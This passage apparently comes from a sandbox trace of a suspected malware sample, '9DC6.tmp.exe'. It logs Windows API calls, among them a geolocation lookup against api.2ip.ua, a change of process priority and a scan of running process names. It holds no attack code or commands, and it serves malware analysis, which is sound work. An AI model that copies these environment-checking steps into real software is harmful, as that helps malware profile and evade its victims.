!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0033.405] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18c6f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0033.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18cdb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ>ù*=ìÐ\x18", lpUsedDefaultChar=0x0) returned 256 [0033.405] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0033.405] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x8, Size=0x800) returned 0x30c750 [0033.405] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40d47c [0033.406] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.406] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.406] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.407] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.407] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x110) returned 0x30cf58 [0033.407] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.407] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x10) returned 0x30abd8 [0033.407] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.407] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.407] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.408] RtlSizeHeap (HeapHandle=0x260000, Flags=0x0, MemoryPointer=0x30c4a0) returned 0x80 [0033.411] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0034.294] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x40) returned 0x300e18 [0034.294] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0041.071] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1893b0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18bbb0 | out: lpBuffer=0x1893b0*, lpdwNumberOfBytesRead=0x18bbb0*=0x1d1) returned 1 [0041.072] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0041.075] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0041.075] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x20) returned 0x3184d0 [0041.075] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x1e0) returned 0x7b69418 [0041.075] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x7b69418 | out: hHeap=0x260000) returned 1 [0041.075] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x3184d0 | out: hHeap=0x260000) returned 1 [0041.075] HeapFree (in: hHeap=0x260000, dwFlags=0x0, lpMem=0x300e18 | out: hHeap=0x260000) returned 1 [0041.075] GetCurrentProcess () returned 0xffffffff [0041.075] GetLastError () returned 0x2 [0041.075] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0041.075] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x10) returned 0x339978 [0041.075] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x110) returned 0x3404a0 [0041.075] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x800) returned 0x3461f8 [0041.075] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3461f8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9dc6.tmp.exe")) returned 0x32 [0041.075] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0041.075] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x810) returned 0x7b85300 [0041.075] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" " [0041.075] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" ", pNumArgs=0x18bc90 | out: pNumArgs=0x18bc90) returned 0x33e720*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0041.076] lstrcpyW (in: lpString1=0x18c940, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0041.076] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" " [0041.076] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe\" ", pNumArgs=0x18bc2c | out: pNumArgs=0x18bc2c) returned 0x33e720*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe" [0041.076] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9DC6.tmp.exe") returned="9DC6.tmp.exe" [0041.076] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0041.077] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0041.077] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0041.077] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0041.077] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0041.080] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0041.080] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0041.080] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0041.080] EnumProcesses (in: lpidProcess=0x181428, cb=0xa000, lpcbNeeded=0x18bc38 | out: lpidProcess=0x181428, lpcbNeeded=0x18bc38) returned 1 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0041.083] CloseHandle (hObject=0x0) returned 0 [0041.083] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0041.084] CloseHandle (hObject=0x0) returned 0 [0041.084] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5b8 [0041.085] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0041.085] CloseHandle (hObject=0x5b8) returned 1 [0041.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5b8 [0041.085] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0041.085] CloseHandle (hObject=0x5b8) returned 1 [0041.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0041.085] CloseHandle (hObject=0x0) returned 0 [0041.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5b8 [0041.085] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0041.085] CloseHandle (hObject=0x5b8) returned 1 [0041.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0041.085] CloseHandle (hObject=0x0) returned 0 [0041.085] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5b8 [0041.085] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0041.086] CloseHandle (hObject=0x5b8) returned 1 [0041.086] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x0 [0041.086] CloseHandle (hObject=0x0) returned 0 [0041.086] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5b8 [0041.086] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.087] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1390000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="sims-atm.exe") returned 0xc [0041.087] CloseHandle (hObject=0x5b8) returned 1 [0041.087] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x90) returned 0x5b8 [0041.087] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.088] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xbd0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="shepherd nut harper.exe") returned 0x17 [0041.088] CloseHandle (hObject=0x5b8) returned 1 [0041.088] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x5b8 [0041.088] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.089] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x2c0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="plumbing.exe") returned 0xc [0041.089] CloseHandle (hObject=0x5b8) returned 1 [0041.089] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x594) returned 0x5b8 [0041.089] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.090] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xfb0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="trembluzbekistanbible.exe") returned 0x19 [0041.090] CloseHandle (hObject=0x5b8) returned 1 [0041.090] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x5b8 [0041.090] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.091] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x8a0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="colorsfaxchem.exe") returned 0x11 [0041.092] CloseHandle (hObject=0x5b8) returned 1 [0041.092] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x320) returned 0x5b8 [0041.092] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.093] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1090000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="bit-discussion-bikini.exe") returned 0x19 [0041.093] CloseHandle (hObject=0x5b8) returned 1 [0041.093] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2c8) returned 0x5b8 [0041.093] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.094] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1070000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="observation joel.exe") returned 0x14 [0041.094] CloseHandle (hObject=0x5b8) returned 1 [0041.094] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0x5b8 [0041.094] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.095] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x130000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="solar.exe") returned 0x9 [0041.095] CloseHandle (hObject=0x5b8) returned 1 [0041.095] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x724) returned 0x5b8 [0041.095] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.096] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x12d0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="poverty-also.exe") returned 0x10 [0041.096] CloseHandle (hObject=0x5b8) returned 1 [0041.096] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x178) returned 0x5b8 [0041.096] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.097] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1130000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="companionbreast.exe") returned 0x13 [0041.098] CloseHandle (hObject=0x5b8) returned 1 [0041.098] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x5b8 [0041.098] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.099] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1130000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="treasure_yale.exe") returned 0x11 [0041.099] CloseHandle (hObject=0x5b8) returned 1 [0041.099] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f0) returned 0x5b8 [0041.099] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.100] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x12a0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="ipod.exe") returned 0x8 [0041.100] CloseHandle (hObject=0x5b8) returned 1 [0041.100] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b8) returned 0x5b8 [0041.100] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.101] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x40000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="ks prerequisite friends.exe") returned 0x1b [0041.101] CloseHandle (hObject=0x5b8) returned 1 [0041.101] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x798) returned 0x5b8 [0041.101] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.102] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1000000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="ce_sitemap.exe") returned 0xe [0041.102] CloseHandle (hObject=0x5b8) returned 1 [0041.102] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6ac) returned 0x5b8 [0041.102] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.103] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xff0000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="floattile.exe") returned 0xd [0041.103] CloseHandle (hObject=0x5b8) returned 1 [0041.104] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7b0) returned 0x5b8 [0041.104] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.104] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x840000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="chorus-finally.exe") returned 0x12 [0041.105] CloseHandle (hObject=0x5b8) returned 1 [0041.105] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5c8) returned 0x5b8 [0041.105] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.106] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xa30000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="transcriptrobbie.exe") returned 0x14 [0041.106] CloseHandle (hObject=0x5b8) returned 1 [0041.106] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5d8) returned 0x5b8 [0041.106] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.107] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xf70000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="homepage.exe") returned 0xc [0041.107] CloseHandle (hObject=0x5b8) returned 1 [0041.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f0) returned 0x0 [0041.107] CloseHandle (hObject=0x0) returned 0 [0041.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x39c) returned 0x5b8 [0041.107] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 0 [0041.107] CloseHandle (hObject=0x5b8) returned 1 [0041.107] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x73c) returned 0x5b8 [0041.107] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18bc44, cb=0x4, lpcbNeeded=0x18bc28 | out: lphModule=0x18bc44, lpcbNeeded=0x18bc28) returned 1 [0041.108] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x400000, lpBaseName=0x18b428, nSize=0x400 | out: lpBaseName="9DC6.tmp.exe") returned 0xc [0041.109] CloseHandle (hObject=0x5b8) returned 1 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x28) returned 0x314c38 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b69418 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b75898 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b9b420 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b84420 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b85b18 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b85d80 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 0x7b85fe8 [0041.109] RtlAllocateHeap (HeapHandle=0x260000, Flags=0x0, Size=0x25c) returned 